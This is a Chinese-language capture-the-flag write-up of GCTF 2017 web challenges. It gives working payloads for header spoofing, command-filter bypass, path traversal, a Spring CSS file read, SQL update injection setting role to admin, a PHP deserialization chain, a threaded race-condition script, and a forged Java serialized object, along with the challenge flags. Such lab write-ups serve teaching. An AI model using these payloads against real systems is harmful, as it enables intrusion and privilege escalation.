GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]

热身题

直接扫描目录发现了robots.txt

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第1张图片

http://218.2.197.232:18001/rob0t.php
-----------------------Congratulation!---------------------------
GCTF{ae609880185f1d75}

Forbidden

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第2张图片

加上

'X-Forwarded-For':'localhost'

这里写图片描述

加上

'HOST':'www.topsec.com'

这里写图片描述

加上

'Referer':'www.baidu.com'

这里写图片描述

本来一阵不耐烦结果到这懵逼了,这是几个意思???然后学习了一波
在服务器端判断request来自Ajax请求(异步)还是传统请求(同步),两种请求在请求的Header不同,Ajax 异步请求比传统的同步请求多了一个头参数。就是如下加上

 x-requested-with:XMLHttpRequest

这里写图片描述

将user-agent改成

User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT 5.1; Trident/4.0)

还没完???

这里写图片描述

继续改…User-Agent

User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT 5.1;.NET CLR 8.0)

这里写图片描述

真是够了!!!这个判断国籍猜测是从语言来判断的,加上

Accept-Language:de-DE

这里写图片描述

真是无语透顶…
看到回应存在

Set-Cookie: login=4e6a59324d545a6a4e7a4d324e513d3d

一开始一位是md5加密,但是解不开…再看看是16进制…啥的,最后发现是false,先转换成16进制,然后base64加密,在转换成16进制,我们构造true的即可
然后添加

Cookie: login=4e7a51334d6a63314e6a553d

终于完成了…

变态验证码怎么破

这里写图片描述

结合题目问题,猜测是账户的ADMIN,密码是在password.txt中的一个,但是由于存在验证码没法爆破,但是也不能一个个试嗯。果然打开password.txt发现了一个密码列表。但是我不知道这是怎么搞的…没代码没逻辑错误也没听说类似的洞,一切证明还是出题人脑洞大…看看大牛们试怎么做的…
真是长见识了…去点vcode和PHPSESSID值即可验证???纳尼???

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第3张图片

然后写脚本爆破即可?写了半天不行,直接用burp去爆破好了

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第4张图片

找到不同的长度即可,然后就得到了flag

GCTF{Qb8HR4pGmScMqgxTSwP7QZmb}

RCE绕过

说是过滤了什么,掏出小本本看看什么可以用来着,发现过滤不过如此,换行用%0a绕过,空格用%09绕过…(一开始我还以为只需要构造空格构造个curl语句,结果并不是来着…)
然后发现还存在什么绕过

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第5张图片

然而当时看到的神文章让我受益匪浅,过滤了cat、head、more、less,但是我们可以用tac!

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第6张图片

GCTF{ADFAFADSFASFZVASDFADV}

看了一下别人的wp,居然在源码中…

读文件

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第7张图片

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第8张图片

然后发现存在flag.php来着,然后尝试一下发现过滤了flag字段,这就有意思了,掏出小本本
GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第9张图片

这个题目后面不完全是我想的,大概的思路是利用过滤绕过提交的检测!fuzz一发看看什么过滤了,
GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第10张图片

然后就是路径问题,之前找的/a/1.txt并不存在,那么一定是1.txt藏在某个其他的文件夹中,这个只能去试,需要构造特殊的poc

http://218.2.197.232:18008/a/down.php?p=...//down.php

发现访问成功

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第11张图片

spring-css

google一发发现貌似是一个springcss的漏洞

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第12张图片

然后如何利用搜索一发,直接利用即可

http://218.2.197.232:18015/spring-css/resources/file:/etc/flag
GCTF{db839442402f5874}

看看大佬是怎么找到flag的

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第13张图片

https://github.com/ilmila/springcss-cve-2014-3625/blob/master/stealfile.sh
歪打正着

注入越权

这个题目没什么思路,感觉是注入但是存在过滤,而且不失gbk编码,也不是宽字节注入,不是很会。然后发现在生日的地方如果输入字母会得到

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第14张图片

然后随便试了试%发现

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第15张图片

源码中存在一定的提示
GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第16张图片

但是怎么用并不知道…
谜一样的做法…大佬们猜测是update注入,但是不明白这个uid的注入点是怎么想到的,完全脑洞出来的嘛…
根据提示构造uid,还有role覆盖即可

http://218.2.197.232:18014/edit.php

POST:
name=123123&email=f997552762103d11%40gctf.cn&phone=123123&mobile=123123&address=%E4%B8%AD%E5%9B%BD&birth=11111111&gender=%E9%9A%BE&uid=0, role =0x61646d696e

然后返回页面得到flag

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第17张图片

GCTF{9CtyJLHMxkjLUs6qfUM5Cmrb}

学习一波,不觉得简单,大佬勿喷…

PHP序列化


//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
    $_SESSION['src'] = $_GET['src'];
    highlight_file(__FILE__);
    print_r($_SESSION['src']);
}
?>

<html>
 <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>代码审计2title>
 head>
 <body>
 在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。
<form action="./query.php" method="POST">        
<input type="text" name="ticket" />               
<input type="submit" />
form>
<a href="./?src=1">查看源码a>
body>
html>

然后通过qurey.php~下载到了源码(看来以后的源码泄露问题不能老是盯着index.php了)

/************************/
/*
//query.php 閮ㄥ垎浠g爜
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //鎶辨瓑
        $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct(){
        echo $this->attr;
    }
}
*/

这个题目太好了,正好对序列化什么的非常不熟悉,正好学习一波
我们需要注意到在index.php编码方式是php_serialize,而在qurey.php中没有标记,那么就是默认成了php,那么构成反序列化
首先我们需要绕过这个TOPC中的__wakeup,这里通过可以通过修改反序列化后对象的属性个数绕过wakeup的效果,构造代码如下

$a=new TOPA();
$b=new TOPB();
$c=new TOPC();
$c->obj="123";
$c->attr="aaaaaa";
echo serialize($c);

这里写图片描述

我们将元素的个数从2修改成3完成绕过
这里写图片描述

之后访问 http://218.2.197.232:18017/query.php发现存在成功
GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第18张图片

在后面主要就是嵌套的关系了,但是最麻烦的是 if($this->obj->token === $this->obj->ticket){这玩意该怎么绕过…然后看大牛的wp学习一波新的姿势…
所以在序列化的时候进行指针引用使$a->ticket = &$a->token;,即可绕过判断!!!
构造

$a=new TOPA();
$b=new TOPB();
$c=new TOPC();
$a->username='aaaaaaaaaaaaaaaaa';
$a->password='bbbbbbbbbbbbbbbbbb';
$a->ticket = &$a->token;
$b->attr=serialize($a);
$c->obj="123";
$c->attr=$b;
echo serialize($c);

然后得到序列化值,注意别忘了改前面的参数个数!!!

http://218.2.197.232:18017/?src=|O:4:"TOPC":3:{s:3:"obj";s:3:"123";s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:127:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";s:17:"aaaaaaaaaaaaaaaaa";s:8:"password";s:18:"bbbbbbbbbbbbbbbbbb";}";}}

这里写图片描述

再访问qurey.php得到flag
真心学习一波!!!

key is:{JJj56M3e26Avvv6gnUZ3S4WZ}
GCTF{JJj56M3e26Avvv6gnUZ3S4WZ}

条件竞争

这个题目我还是蛮懵的,因为之前从来没接触过条件竞争,首先下一下源码

Content-type: text/html; charset=utf-8");
session_start();

$mysqli = new mysqli("localhost", "root", "", "gctf09");
if ($mysqli->connect_errno) {
    die("数据库连接错误,多次出现请联系管理员。");
}

//打印源码
if(isset($_REQUEST['showcode'])){
    highlight_file(___FILE___);
    exit();

}
$user="";
// 初次访问生成用户
if(!isset($_SESSION["name"])){
    $user=substr(md5(uniqid().uniqid()),8,16);
    $_SESSION["name"]=$user;
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($user));
    $stmt->execute();
    $stmt->close();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
}else{
    $user=$_SESSION["name"];
}
//重置时清理用户信息
if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET['method']==="reset" && isset($_POST['password']) ){
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`user` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`priv` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($_POST['password']));
    $stmt->execute();
    $stmt->close();
    //判断用户权限时会查询priv表,如果为不为TRUE则是管理员权限
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
    $mysqli->close();
    die("修改成功");
}
$mysqli->close();
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>条件竞争title>
<link crossorigin="anonymous" href="css/frameworks.css"  media="all" rel="stylesheet" />
<link crossorigin="anonymous" href="css/github.css"  media="all" rel="stylesheet" />   

<link crossorigin="anonymous" href="css/site.css" media="all" rel="stylesheet" />
head>
<body>
<div class="setup-wrapper" style="">
<div class="setup-main ">
      <div class="setup-form-container">
<form accept-charset="UTF-8" action="index.php?method=reset" autocomplete="off" class="setup-form js-signup-form" id="signup-form" method="post"><div style="margin:0;padding:0;display:inline">div>

  <h2 class="setup-form-title mb-3">  
  h2>
  <dl class="form-group"><dt class="input-label"><label autocapitalize="off" autofocus="autofocus" name="name">用户名label>dt><dd><input placeholder="用户名" autofocus="autofocus" class="form-control" id="name" name="name" size="30" type="text" value="">dd>dl>
  <dl class="form-group"><dt class="input-label"><label autocapitalize="off" autofocus="autofocus" name="name">新密码label>dt><dd><input placeholder="密码" autofocus="autofocus" class="form-control" id="password" name="password" size="30" type="text">dd>dl>

 <button type="submit" class="btn btn-primary" id="signup_button" data-disable-with="Reset account…">重置账号button><a href="?showcode=1">查看源码<a/>  <a href="login.php">登录<a/>

form>
div> 
    div> 
div> 
body>
html>

然后可以看到申请新的账号的时候,显示插入user然后判断该用户是不是管理员.在重置的时候显示删掉用户,再该用户权限,再申请一个用户,最后才给用户赋权限
那么如果我们再重置账户的第三步和第四步之间登陆就可以了。因为第四步相当于给用户降权,相当于是告诉系统他不是管理员

方法一:自己写脚本

#_*_ coding:utf-8 _*_
import requests
import threading
url_change = 'http://218.2.197.232:18009/index.php?method=reset'
url_login  = 'http://218.2.197.232:18009/login.php?method=login'
cookies={'Cookie': 'PHPSESSID=qq1pcbknl0959hd3ec0fd36s25'}
data = {
    'name':'6adead81c67aa242',
    'password':'6adead81c67aa242123123'
}
def reset(url_change,data,cookies):
    while True:
        html = requests.post(url=url_change,data=data,cookies=cookies).text
        print html
def login(url_login,data,cookies):
    while True:
        html = requests.post(url=url_login,data=data,cookies=cookies).text
        print html

threads = []        
t1=threading.Thread(target=reset,args=(url_login,data,cookies))     
t2=threading.Thread(target=reset,args=(url_login,data,cookies))
t3=threading.Thread(target=reset,args=(url_login,data,cookies))     
t4=threading.Thread(target=reset,args=(url_login,data,cookies))
t5=threading.Thread(target=reset,args=(url_login,data,cookies))     
threads.append(t1)
threads.append(t2)
threads.append(t3)
threads.append(t4)
threads.append(t5)
for t in threads:
    t.setDaemon(True)
    t.start()
t.join()


#_*_ coding:utf-8 _*_
import requests
import threading
url_change = 'http://218.2.197.232:18009/index.php?method=reset'
url_login  = 'http://218.2.197.232:18009/login.php?method=login'
cookies={'Cookie': 'PHPSESSID=qq1pcbknl0959hd3ec0fd36s25'}
data = {
    'name':'6adead81c67aa242',
    'password':'6adead81c67aa242123123'
}
def reset(url_change,data,cookies):
    while True:
        html = requests.post(url=url_change,data=data,cookies=cookies).text
        print html
def login(url_login,data,cookies):
    while True:
        html = requests.post(url=url_login,data=data,cookies=cookies).text
        print html

threads = []        
t1=threading.Thread(target=reset,args=(url_change,data,cookies))        
t2=threading.Thread(target=reset,args=(url_change,data,cookies))        
t3=threading.Thread(target=reset,args=(url_change,data,cookies))        
threads.append(t1)
threads.append(t2)
threads.append(t3)
for t in threads:
    t.setDaemon(True)
    t.start()
t.join()

分开去跑就行

方法二:burpsuite爆破

这个没啥好说的,两个线程同时开炮就行,随便构造一个没用的爆破点然后导入字典跑

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第19张图片

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第20张图片

GCTF{KBnLGG6qR2ZdYe4HbUL8XpAP}

感觉条件竞争就是找到一些可以利用的点,然后疯狂地碰撞的样子

Java序列化

首先题目的名字就是提升了,肯定是有关java序列化的问题,当然了原来完全没接触过,首先输入admin抓包看一下

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第21张图片

返回了一个网址而且后面夹着一堆东西,发现是个跳转嘛,看一下是什么
GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第22张图片

然后补课避免地去分析java序列化到底是什么,查完资料直接上手代码如下

//user类文件
package com.ctf.cn;

import java.io.Serializable;

public class User implements Serializable{
    private static final long serialVersionUID = 66662333L;
    public Integer id=Integer.valueOf(1);
    public String name="admin";
}
//Main主函数嗯
import java.util.*;
import com.ctf.cn.User;
import java.io.*;
import sun.misc.resources.*;;

public class Main {
    public static void main(String[] args) throws FileNotFoundException,IOException {
        User user = new User();
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("G:/test.txt")));
        oo.writeObject(user);
        System.out.println("Person对象序列化成功!");
        oo.close();
    }
}

当然这个serialVersionUID 你是不知道的,索性网页会报错!

GCTF 2017 Web 补题 By Assassin [持续更新--抄大佬wp]_第23张图片

修改过来即可,得到了java的序列化,用python脚本来base64加密一下提交即可

paylaod:
http://218.2.197.232:18005/ctfobj/Login?
object=rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=
GCTF{NsyTascaUR73uKd7e5YY} 

WEB综合












你可能感兴趣的:(Web)